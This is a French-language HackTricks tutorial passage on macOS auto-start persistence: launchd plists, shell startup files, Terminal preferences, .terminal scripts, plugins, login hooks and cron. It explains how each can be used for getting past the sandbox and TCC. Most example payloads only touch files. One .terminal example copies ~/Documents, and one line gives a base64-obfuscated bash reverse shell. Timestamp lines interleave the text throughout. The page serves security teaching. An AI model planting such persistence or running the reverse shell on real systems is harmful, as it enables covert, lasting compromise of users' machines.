2024-09-21 18:24:59 +00:00
# macOS Auto Start
2023-06-01 21:09:46 +00:00
2024-07-18 17:36:49 +00:00
{% hint style="success" %}
2024-09-21 18:24:59 +00:00
Learn & practice AWS Hacking:< img src = "../.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "../.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Learn & practice GCP Hacking: < img src = "../.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "../.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2023-06-01 21:09:46 +00:00
2024-07-18 17:36:49 +00:00
< details >
2023-06-01 21:09:46 +00:00
2024-09-21 18:24:59 +00:00
< summary > Support HackTricks< / summary >
2023-12-31 00:10:32 +00:00
2024-09-21 18:24:59 +00:00
* Check the [**subscription plans** ](https://github.com/sponsors/carlospolop )!
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2023-06-01 21:09:46 +00:00
< / details >
2024-07-18 17:36:49 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
2024-09-21 18:24:59 +00:00
Cette section est fortement basée sur la série de blogs [**Beyond the good ol' LaunchAgents** ](https://theevilbit.github.io/beyond/ ), l'objectif est d'ajouter **plus d'emplacements de démarrage automatique** (si possible), d'indiquer **quelles techniques fonctionnent encore** de nos jours avec la dernière version de macOS (13.4) et de spécifier les **permissions** nécessaires.
2023-09-28 20:19:42 +00:00
2024-09-21 18:24:59 +00:00
## Contournement de Sandbox
2023-09-28 20:19:42 +00:00
{% hint style="success" %}
2024-09-21 18:24:59 +00:00
Ici, vous pouvez trouver des emplacements de démarrage utiles pour le **contournement de sandbox** qui vous permettent simplement d'exécuter quelque chose en **l'écrivant dans un fichier** et en **attendant** une **action très** **courante** , une **durée déterminée** ou une **action que vous pouvez généralement effectuer** de l'intérieur d'une sandbox sans avoir besoin de permissions root.
2023-09-28 20:19:42 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
### Launchd
2024-02-07 05:33:01 +00:00
* Utile pour contourner la sandbox : [✅ ](https://emojipedia.org/check-mark-button )
2024-09-21 18:24:59 +00:00
* Contournement TCC : [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:19:42 +00:00
2023-09-28 19:43:50 +00:00
#### Emplacements
* **`/Library/LaunchAgents`**
2023-12-26 02:10:49 +00:00
* **Déclencheur** : Redémarrage
2024-09-21 18:24:59 +00:00
* Root requis
2023-09-28 19:43:50 +00:00
* **`/Library/LaunchDaemons`**
2023-12-26 02:10:49 +00:00
* **Déclencheur** : Redémarrage
2024-09-21 18:24:59 +00:00
* Root requis
2023-09-28 19:43:50 +00:00
* **`/System/Library/LaunchAgents`**
2023-12-26 02:10:49 +00:00
* **Déclencheur** : Redémarrage
2024-09-21 18:24:59 +00:00
* Root requis
2023-09-28 19:43:50 +00:00
* **`/System/Library/LaunchDaemons`**
2023-12-26 02:10:49 +00:00
* **Déclencheur** : Redémarrage
2024-09-21 18:24:59 +00:00
* Root requis
2023-09-28 19:43:50 +00:00
* **`~/Library/LaunchAgents`**
2024-09-21 18:24:59 +00:00
* **Déclencheur** : Nouvelle connexion
2023-09-28 19:43:50 +00:00
* **`~/Library/LaunchDemons`**
2024-09-21 18:24:59 +00:00
* **Déclencheur** : Nouvelle connexion
2024-07-17 18:34:44 +00:00
{% hint style="success" %}
2024-09-21 18:24:59 +00:00
En fait intéressant, ** `launchd` ** a une liste de propriétés intégrée dans la section Mach-o `__Text.__config` qui contient d'autres services bien connus que launchd doit démarrer. De plus, ces services peuvent contenir les `RequireSuccess` , `RequireRun` et `RebootOnSuccess` , ce qui signifie qu'ils doivent être exécutés et se terminer avec succès.
2024-07-17 18:34:44 +00:00
2024-09-21 18:24:59 +00:00
Bien sûr, cela ne peut pas être modifié en raison de la signature de code.
2024-07-17 18:34:44 +00:00
{% endhint %}
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
#### Description & Exploitation
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
**`launchd`** est le **premier** **processus** exécuté par le noyau OX S au démarrage et le dernier à se terminer lors de l'arrêt. Il doit toujours avoir le **PID 1** . Ce processus va **lire et exécuter** les configurations indiquées dans les **plists** **ASEP** dans :
2023-06-01 21:09:46 +00:00
2023-06-03 13:10:46 +00:00
* `/Library/LaunchAgents` : Agents par utilisateur installés par l'administrateur
2024-09-21 18:24:59 +00:00
* `/Library/LaunchDaemons` : Daemons à l'échelle du système installés par l'administrateur
2023-06-03 13:10:46 +00:00
* `/System/Library/LaunchAgents` : Agents par utilisateur fournis par Apple.
2024-09-21 18:24:59 +00:00
* `/System/Library/LaunchDaemons` : Daemons à l'échelle du système fournis par Apple.
2023-06-01 21:09:46 +00:00
2024-09-21 18:24:59 +00:00
Lorsqu'un utilisateur se connecte, les plists situées dans `/Users/$USER/Library/LaunchAgents` et `/Users/$USER/Library/LaunchDemons` sont démarrées avec les **permissions des utilisateurs connectés** .
2023-06-01 21:09:46 +00:00
2024-09-21 18:24:59 +00:00
La **principale différence entre les agents et les daemons est que les agents sont chargés lorsque l'utilisateur se connecte et que les daemons sont chargés au démarrage du système** (car il y a des services comme ssh qui doivent être exécutés avant qu'un utilisateur n'accède au système). De plus, les agents peuvent utiliser une interface graphique tandis que les daemons doivent s'exécuter en arrière-plan.
2023-06-01 21:09:46 +00:00
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
< plist version = "1.0" >
< dict >
2023-09-26 23:44:52 +00:00
< key > Label< / key >
< string > com.apple.someidentifier< / string >
< key > ProgramArguments< / key >
< array >
2023-09-28 19:43:50 +00:00
< string > bash -c 'touch /tmp/launched'< / string > <!-- Prog to execute -->
2023-09-26 23:44:52 +00:00
< / array >
< key > RunAtLoad< / key > < true / > <!-- Execute at system startup -->
< key > StartInterval< / key >
< integer > 800< / integer > <!-- Execute each 800s -->
< key > KeepAlive< / key >
< dict >
< key > SuccessfulExit< / key > < / false > <!-- Re - execute if exit unsuccessful -->
<!-- If previous is true, then re - execute in successful exit -->
< / dict >
2023-06-01 21:09:46 +00:00
< / dict >
< / plist >
```
2024-09-21 18:24:59 +00:00
Il existe des cas où un **agent doit être exécuté avant que l'utilisateur ne se connecte** , ceux-ci sont appelés **PreLoginAgents** . Par exemple, cela est utile pour fournir une technologie d'assistance à la connexion. Ils peuvent également être trouvés dans `/Library/LaunchAgents` (voir [**ici** ](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents ) un exemple).
2023-06-01 21:09:46 +00:00
2023-09-28 19:43:50 +00:00
{% hint style="info" %}
2024-09-21 18:24:59 +00:00
De nouveaux fichiers de configuration de Daemons ou d'Agents seront **chargés après le prochain redémarrage ou en utilisant** `launchctl load <target.plist>` . Il est **également possible de charger des fichiers .plist sans cette extension** avec `launchctl -F <file>` (cependant, ces fichiers plist ne seront pas chargés automatiquement après le redémarrage).\
2024-04-07 03:54:34 +00:00
Il est également possible de **décharger** avec `launchctl unload <target.plist>` (le processus pointé par celui-ci sera terminé),
2023-06-01 21:09:46 +00:00
2024-09-21 18:24:59 +00:00
Pour **s'assurer** qu'il n'y a **rien** (comme un remplacement) **empêchant** un **Agent** ou un **Daemon** **de** **s'exécuter** , exécutez : `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist`
2023-09-28 19:43:50 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
2023-12-26 02:10:49 +00:00
Listez tous les agents et daemons chargés par l'utilisateur actuel :
2023-06-01 21:09:46 +00:00
```bash
launchctl list
```
2023-11-02 17:40:28 +00:00
{% hint style="warning" %}
2024-09-21 18:24:59 +00:00
Si un plist appartient à un utilisateur, même s'il se trouve dans des dossiers de démon à l'échelle du système, la **tâche sera exécutée en tant qu'utilisateur** et non en tant que root. Cela peut prévenir certaines attaques d'escalade de privilèges.
2023-11-02 17:40:28 +00:00
{% endhint %}
2024-09-21 18:24:59 +00:00
#### Plus d'infos sur launchd
2024-07-17 18:34:44 +00:00
2024-09-21 18:24:59 +00:00
**`launchd`** est le **premier** processus en mode utilisateur qui est démarré depuis le **noyau** . Le démarrage du processus doit être **réussi** et il **ne peut pas quitter ou planter** . Il est même **protégé** contre certains **signaux de terminaison** .
2024-07-17 18:34:44 +00:00
2024-09-21 18:24:59 +00:00
L'une des premières choses que `launchd` ferait est de **démarrer** tous les **démons** comme :
2023-09-28 19:43:50 +00:00
2024-07-17 18:34:44 +00:00
* **Démons de minuterie** basés sur le temps à exécuter :
2024-09-21 18:24:59 +00:00
* atd (`com.apple.atrun.plist`) : a un `StartInterval` de 30 minutes
* crond (`com.apple.systemstats.daily.plist`) : a `StartCalendarInterval` pour démarrer à 00:15
2024-07-17 18:34:44 +00:00
* **Démons réseau** comme :
2024-09-21 18:24:59 +00:00
* `org.cups.cups-lpd` : écoute en TCP (`SockType: stream`) avec `SockServiceName: printer`
* SockServiceName doit être soit un port soit un service de `/etc/services`
* `com.apple.xscertd.plist` : écoute en TCP sur le port 1640
* **Démons de chemin** qui sont exécutés lorsqu'un chemin spécifié change :
* `com.apple.postfix.master` : vérifie le chemin `/etc/postfix/aliases`
2024-07-17 18:34:44 +00:00
* **Démons de notifications IOKit** :
2024-09-21 18:24:59 +00:00
* `com.apple.xartstorageremoted` : `"com.apple.iokit.matching" => { "com.apple.device-attach" => { "IOMatchLaunchStream" => 1 ...`
* **Port Mach :**
* `com.apple.xscertd-helper.plist` : indique dans l'entrée `MachServices` le nom `com.apple.xscertd.helper`
* **UserEventAgent :**
* Cela est différent du précédent. Cela fait que launchd lance des applications en réponse à un événement spécifique. Cependant, dans ce cas, le binaire principal impliqué n'est pas `launchd` mais `/usr/libexec/UserEventAgent` . Il charge des plugins depuis le dossier restreint SIP /System/Library/UserEventPlugins/ où chaque plugin indique son initialiseur dans la clé `XPCEventModuleInitializer` ou, dans le cas de plugins plus anciens, dans le dictionnaire `CFPluginFactories` sous la clé `FB86416D-6164-2070-726F-70735C216EC0` de son `Info.plist` .
2024-07-17 18:34:44 +00:00
2024-09-21 18:24:59 +00:00
### fichiers de démarrage shell
2024-07-17 18:34:44 +00:00
2024-09-21 18:24:59 +00:00
Écriture : [https://theevilbit.github.io/beyond/beyond\_0001/ ](https://theevilbit.github.io/beyond/beyond\_0001/ )\
Écriture (xterm) : [https://theevilbit.github.io/beyond/beyond\_0018/ ](https://theevilbit.github.io/beyond/beyond\_0018/ )
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
* Utile pour contourner le sandbox : [✅ ](https://emojipedia.org/check-mark-button )
* Contournement TCC : [✅ ](https://emojipedia.org/check-mark-button )
* Mais vous devez trouver une application avec un contournement TCC qui exécute un shell qui charge ces fichiers
2023-09-28 20:19:42 +00:00
2023-09-28 19:43:50 +00:00
#### Emplacements
2023-12-30 01:07:23 +00:00
* **`~/.zshrc`, `~/.zlogin` , `~/.zshenv.zwc` **, ** `~/.zshenv` , `~/.zprofile` **
2024-09-21 18:24:59 +00:00
* **Déclencheur** : Ouvrir un terminal avec zsh
2023-09-28 19:43:50 +00:00
* **`/etc/zshenv`, `/etc/zprofile` , `/etc/zshrc` , `/etc/zlogin` **
2024-09-21 18:24:59 +00:00
* **Déclencheur** : Ouvrir un terminal avec zsh
* Root requis
2023-09-28 19:43:50 +00:00
* **`~/.zlogout`**
2024-09-21 18:24:59 +00:00
* **Déclencheur** : Quitter un terminal avec zsh
2023-09-28 19:43:50 +00:00
* **`/etc/zlogout`**
2024-09-21 18:24:59 +00:00
* **Déclencheur** : Quitter un terminal avec zsh
* Root requis
2023-11-02 17:40:28 +00:00
* Potentiellement plus dans : ** `man zsh` **
2023-09-28 19:43:50 +00:00
* **`~/.bashrc`**
2024-09-21 18:24:59 +00:00
* **Déclencheur** : Ouvrir un terminal avec bash
2023-09-28 19:43:50 +00:00
* `/etc/profile` (n'a pas fonctionné)
* `~/.profile` (n'a pas fonctionné)
* `~/.xinitrc` , `~/.xserverrc` , `/opt/X11/etc/X11/xinit/xinitrc.d/`
2024-09-21 18:24:59 +00:00
* **Déclencheur** : Prévu pour se déclencher avec xterm, mais il **n'est pas installé** et même après installation, cette erreur est lancée : xterm : `DISPLAY is not set`
2023-09-28 19:43:50 +00:00
2023-12-26 02:10:49 +00:00
#### Description & Exploitation
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
Lors de l'initiation d'un environnement shell tel que `zsh` ou `bash` , **certains fichiers de démarrage sont exécutés** . macOS utilise actuellement `/bin/zsh` comme shell par défaut. Ce shell est automatiquement accessible lorsque l'application Terminal est lancée ou lorsqu'un appareil est accédé via SSH. Bien que `bash` et `sh` soient également présents dans macOS, ils doivent être explicitement invoqués pour être utilisés.
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
La page de manuel de zsh, que nous pouvons lire avec ** `man zsh` **, a une longue description des fichiers de démarrage.
2023-09-28 19:43:50 +00:00
```bash
# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc
```
2024-09-21 18:24:59 +00:00
### Applications Rouverts
2023-09-28 19:43:50 +00:00
2023-09-28 20:19:42 +00:00
{% hint style="danger" %}
2024-09-21 18:24:59 +00:00
Configurer l'exploitation indiquée et se déconnecter puis se reconnecter ou même redémarrer n'a pas fonctionné pour moi pour exécuter l'application. (L'application n'était pas exécutée, peut-être qu'elle doit être en cours d'exécution lorsque ces actions sont effectuées)
2023-09-28 20:19:42 +00:00
{% endhint %}
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
**Écriture**: [https://theevilbit.github.io/beyond/beyond\_0021/ ](https://theevilbit.github.io/beyond/beyond\_0021/ )
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
* Utile pour contourner le sandbox : [✅ ](https://emojipedia.org/check-mark-button )
* Contournement TCC : [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 19:43:50 +00:00
2023-09-28 20:19:42 +00:00
#### Emplacement
2023-09-28 19:43:50 +00:00
2023-09-28 20:19:42 +00:00
* **`~/Library/Preferences/ByHost/com.apple.loginwindow.< UUID > .plist`**
2024-09-21 18:24:59 +00:00
* **Déclencheur** : Redémarrer les applications rouverts
2023-09-28 19:43:50 +00:00
2023-12-26 02:10:49 +00:00
#### Description & Exploitation
2023-09-28 20:19:42 +00:00
2024-09-21 18:24:59 +00:00
Toutes les applications à rouvrir se trouvent dans le plist `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`
2023-09-28 20:19:42 +00:00
2024-09-21 18:24:59 +00:00
Donc, pour faire en sorte que les applications rouverts lancent la vôtre, vous devez simplement **ajouter votre application à la liste** .
2023-09-28 20:19:42 +00:00
2024-09-21 18:24:59 +00:00
Le UUID peut être trouvé en listant ce répertoire ou avec `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`
2023-09-28 20:19:42 +00:00
2024-09-21 18:24:59 +00:00
Pour vérifier les applications qui seront rouverts, vous pouvez faire :
2023-09-28 20:19:42 +00:00
```bash
defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.< UUID > .plist
2023-09-28 19:43:50 +00:00
```
2023-09-28 20:19:42 +00:00
Pour **ajouter une application à cette liste** , vous pouvez utiliser :
2023-09-28 19:43:50 +00:00
```bash
2023-09-28 20:19:42 +00:00
# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.< UUID > .plist
2023-09-28 19:43:50 +00:00
```
2023-10-01 18:22:56 +00:00
### Préférences du Terminal
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
* Utile pour contourner le sandbox : [✅ ](https://emojipedia.org/check-mark-button )
* Contournement TCC : [✅ ](https://emojipedia.org/check-mark-button )
* Utilisation du Terminal pour avoir les permissions FDA de l'utilisateur qui l'utilise
2023-10-01 18:22:56 +00:00
#### Emplacement
* **`~/Library/Preferences/com.apple.Terminal.plist`**
2023-12-26 02:10:49 +00:00
* **Déclencheur** : Ouvrir le Terminal
2023-10-01 18:22:56 +00:00
2024-03-29 21:02:51 +00:00
#### Description & Exploitation
2023-10-01 18:22:56 +00:00
2023-12-26 02:10:49 +00:00
Dans ** `~/Library/Preferences` ** sont stockées les préférences de l'utilisateur dans les Applications. Certaines de ces préférences peuvent contenir une configuration pour **exécuter d'autres applications/scripts** .
2023-09-28 19:43:50 +00:00
2023-09-28 20:19:42 +00:00
Par exemple, le Terminal peut exécuter une commande au démarrage :
2023-09-28 19:43:50 +00:00
2024-05-05 22:09:31 +00:00
< figure > < img src = "../.gitbook/assets/image (1148).png" alt = "" width = "495" > < figcaption > < / figcaption > < / figure >
2023-09-28 20:19:42 +00:00
2024-09-21 18:24:59 +00:00
Cette configuration est reflétée dans le fichier ** `~/Library/Preferences/com.apple.Terminal.plist` ** comme ceci :
2023-09-28 19:43:50 +00:00
```bash
[...]
2023-09-28 20:19:42 +00:00
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
2023-09-28 19:43:50 +00:00
[...]
```
2024-09-21 18:24:59 +00:00
Donc, si le plist des préférences du terminal dans le système pouvait être écrasé, la fonctionnalité ** `open` ** peut être utilisée pour **ouvrir le terminal et cette commande sera exécutée** .
2023-09-28 20:19:42 +00:00
2024-09-21 18:24:59 +00:00
Vous pouvez ajouter cela depuis le cli avec :
2024-07-17 18:34:44 +00:00
{% code overflow="wrap" %}
2023-09-28 19:43:50 +00:00
```bash
# Add
2023-09-28 20:19:42 +00:00
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist
2023-09-28 19:43:50 +00:00
# Remove
2023-09-28 20:19:42 +00:00
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist
2023-09-28 19:43:50 +00:00
```
2023-12-29 14:33:37 +00:00
{% endcode %}
2024-09-21 18:24:59 +00:00
### Scripts de terminal / Autres extensions de fichiers
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
* Utile pour contourner le sandbox : [✅ ](https://emojipedia.org/check-mark-button )
* Contournement TCC : [✅ ](https://emojipedia.org/check-mark-button )
* Utilisation du terminal pour avoir les permissions FDA de l'utilisateur qui l'utilise
2023-10-01 18:22:56 +00:00
#### Emplacement
2024-09-21 18:24:59 +00:00
* **Partout**
* **Déclencheur** : Ouvrir le terminal
2023-10-01 18:22:56 +00:00
2023-12-26 02:10:49 +00:00
#### Description & Exploitation
2023-10-01 18:22:56 +00:00
2024-09-21 18:24:59 +00:00
Si vous créez un [**`.terminal`** script ](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx ) et l'ouvrez, l'**application Terminal** sera automatiquement invoquée pour exécuter les commandes indiquées. Si l'application Terminal a des privilèges spéciaux (comme TCC), votre commande sera exécutée avec ces privilèges spéciaux.
2023-10-01 18:22:56 +00:00
2024-09-21 18:24:59 +00:00
Essayez-le avec :
2023-10-01 18:22:56 +00:00
```bash
# Prepare the payload
cat > /tmp/test.terminal < < EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
< plist version = "1.0" >
< dict >
< key > CommandString< / key >
< string > mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;< / string >
< key > ProfileCurrentVersion< / key >
< real > 2.0600000000000001< / real >
< key > RunCommandAsShell< / key >
< false / >
< key > name< / key >
< string > exploit< / string >
< key > type< / key >
< string > Window Settings< / string >
< / dict >
< / plist >
EOF
# Trigger it
open /tmp/test.terminal
# Use something like the following for a reverse shell:
< string > echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;< / string >
```
2024-02-07 05:33:01 +00:00
Vous pouvez également utiliser les extensions ** `.command` **, ** `.tool` **, avec du contenu de scripts shell réguliers et ils seront également ouverts par Terminal.
2023-12-17 01:07:49 +00:00
2023-10-01 18:22:56 +00:00
{% hint style="danger" %}
2024-09-21 18:24:59 +00:00
Si le terminal a **Accès Complet au Disque** , il pourra compléter cette action (notez que la commande exécutée sera visible dans une fenêtre de terminal).
2023-10-01 18:22:56 +00:00
{% endhint %}
2023-12-26 02:10:49 +00:00
### Plugins Audio
2023-10-01 18:22:56 +00:00
2024-09-21 18:24:59 +00:00
Écriture : [https://theevilbit.github.io/beyond/beyond\_0013/ ](https://theevilbit.github.io/beyond/beyond\_0013/ )\
Écriture : [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882 ](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882 )
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
* Utile pour contourner le sandbox : [✅ ](https://emojipedia.org/check-mark-button )
* Contournement TCC : [🟠 ](https://emojipedia.org/large-orange-circle )
2023-12-30 01:07:23 +00:00
* Vous pourriez obtenir un accès TCC supplémentaire
2023-09-28 20:19:42 +00:00
#### Emplacement
* **`/Library/Audio/Plug-Ins/HAL`**
2024-09-21 18:24:59 +00:00
* Accès root requis
2023-09-28 20:19:42 +00:00
* **Déclencheur** : Redémarrer coreaudiod ou l'ordinateur
* **`/Library/Audio/Plug-ins/Components`**
2024-09-21 18:24:59 +00:00
* Accès root requis
2023-09-28 20:19:42 +00:00
* **Déclencheur** : Redémarrer coreaudiod ou l'ordinateur
* **`~/Library/Audio/Plug-ins/Components`**
* **Déclencheur** : Redémarrer coreaudiod ou l'ordinateur
* **`/System/Library/Components`**
2024-09-21 18:24:59 +00:00
* Accès root requis
2023-09-28 20:19:42 +00:00
* **Déclencheur** : Redémarrer coreaudiod ou l'ordinateur
#### Description
2024-09-21 18:24:59 +00:00
Selon les écrits précédents, il est possible de **compiler certains plugins audio** et de les charger.
2023-09-28 20:19:42 +00:00
### Plugins QuickLook
2024-09-21 18:24:59 +00:00
Écriture : [https://theevilbit.github.io/beyond/beyond\_0028/ ](https://theevilbit.github.io/beyond/beyond\_0028/ )
2023-09-28 20:19:42 +00:00
2024-09-21 18:24:59 +00:00
* Utile pour contourner le sandbox : [✅ ](https://emojipedia.org/check-mark-button )
* Contournement TCC : [🟠 ](https://emojipedia.org/large-orange-circle )
2023-12-30 01:07:23 +00:00
* Vous pourriez obtenir un accès TCC supplémentaire
2023-09-28 19:43:50 +00:00
#### Emplacement
2023-09-28 20:19:42 +00:00
* `/System/Library/QuickLook`
* `/Library/QuickLook`
* `~/Library/QuickLook`
2024-09-21 18:24:59 +00:00
* `/Applications/AppNameHere/Contents/Library/QuickLook/`
* `~/Applications/AppNameHere/Contents/Library/QuickLook/`
2023-09-28 19:43:50 +00:00
2023-12-26 02:10:49 +00:00
#### Description & Exploitation
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
Les plugins QuickLook peuvent être exécutés lorsque vous **déclenchez l'aperçu d'un fichier** (appuyez sur la barre d'espace avec le fichier sélectionné dans le Finder) et qu'un **plugin prenant en charge ce type de fichier** est installé.
2023-09-28 20:19:42 +00:00
2024-09-21 18:24:59 +00:00
Il est possible de compiler votre propre plugin QuickLook, de le placer dans l'un des emplacements précédents pour le charger, puis d'aller à un fichier pris en charge et d'appuyer sur la barre d'espace pour le déclencher.
2023-09-28 20:19:42 +00:00
2024-02-07 05:33:01 +00:00
### ~~Hooks de Connexion/Déconnexion~~
2023-09-28 19:43:50 +00:00
2023-09-28 20:19:42 +00:00
{% hint style="danger" %}
2024-09-21 18:24:59 +00:00
Cela n'a pas fonctionné pour moi, ni avec le LoginHook de l'utilisateur ni avec le LogoutHook root
2023-09-28 20:19:42 +00:00
{% endhint %}
2024-09-21 18:24:59 +00:00
**Écriture** : [https://theevilbit.github.io/beyond/beyond\_0022/ ](https://theevilbit.github.io/beyond/beyond\_0022/ )
2023-09-28 20:19:42 +00:00
2024-09-21 18:24:59 +00:00
* Utile pour contourner le sandbox : [✅ ](https://emojipedia.org/check-mark-button )
* Contournement TCC : [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 19:43:50 +00:00
2023-09-28 20:19:42 +00:00
#### Emplacement
2024-09-21 18:24:59 +00:00
* Vous devez être en mesure d'exécuter quelque chose comme `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`
* `Lo` calisé dans `~/Library/Preferences/com.apple.loginwindow.plist`
2023-09-28 19:43:50 +00:00
2024-04-07 03:54:34 +00:00
Ils sont obsolètes mais peuvent être utilisés pour exécuter des commandes lorsqu'un utilisateur se connecte.
2023-09-28 19:43:50 +00:00
```bash
2023-09-28 20:19:42 +00:00
cat > $HOME/hook.sh < < EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh
2023-09-28 19:43:50 +00:00
```
2024-09-21 18:24:59 +00:00
Ce paramètre est stocké dans `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist`
2023-09-28 19:43:50 +00:00
```bash
2023-09-28 20:19:42 +00:00
defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}
2023-09-28 19:43:50 +00:00
```
2023-09-28 20:19:42 +00:00
Pour le supprimer :
```bash
defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook
```
2024-09-21 18:24:59 +00:00
L'utilisateur root est stocké dans ** `/private/var/root/Library/Preferences/com.apple.loginwindow.plist` **
2023-09-28 20:19:42 +00:00
2024-09-21 18:24:59 +00:00
## Contournement de Sandbox Conditionnel
2023-09-28 20:19:42 +00:00
{% hint style="success" %}
2024-09-21 18:24:59 +00:00
Ici, vous pouvez trouver des emplacements de démarrage utiles pour **le contournement de sandbox** qui vous permet d'exécuter simplement quelque chose en **l'écrivant dans un fichier** et en **attendant des conditions pas très courantes** comme des **programmes spécifiques installés, des actions d'utilisateur "inhabituelles"** ou des environnements.
2023-09-28 19:43:50 +00:00
{% endhint %}
2023-06-01 21:09:46 +00:00
### Cron
2024-09-21 18:24:59 +00:00
**Écriture**: [https://theevilbit.github.io/beyond/beyond\_0004/ ](https://theevilbit.github.io/beyond/beyond\_0004/ )
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
* Utile pour contourner la sandbox: [✅ ](https://emojipedia.org/check-mark-button )
2024-07-18 17:36:49 +00:00
* Cependant, vous devez être capable d'exécuter le binaire `crontab`
2023-09-28 20:19:42 +00:00
* Ou être root
2024-09-21 18:24:59 +00:00
* Contournement TCC: [🔴 ](https://emojipedia.org/large-red-circle )
2023-09-28 20:19:42 +00:00
2023-09-28 19:43:50 +00:00
#### Emplacement
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs` , `/private/var/at/jobs` , `/etc/periodic/` **
2024-09-21 18:24:59 +00:00
* Root requis pour un accès en écriture direct. Pas de root requis si vous pouvez exécuter `crontab <file>`
* **Déclencheur**: Dépend du travail cron
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
#### Description & Exploitation
2023-09-28 19:43:50 +00:00
2024-09-21 18:24:59 +00:00
Listez les travaux cron de l'**utilisateur actuel** avec:
2023-06-01 21:09:46 +00:00
```bash
crontab -l
```
2024-09-21 18:24:59 +00:00
Vous pouvez également voir tous les cron jobs des utilisateurs dans ** `/usr/lib/cron/tabs/` ** et ** `/var/at/tabs/` ** (nécessite des droits root).
2023-06-01 21:09:46 +00:00
2024-09-21 18:24:59 +00:00
Dans MacOS, plusieurs dossiers exécutant des scripts avec **certaines fréquences** peuvent être trouvés dans :
2023-06-01 21:09:46 +00:00
```bash
2023-09-28 20:19:42 +00:00
# The one with the cron jobs is /usr/lib/cron/tabs/
2023-06-01 21:09:46 +00:00
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
```
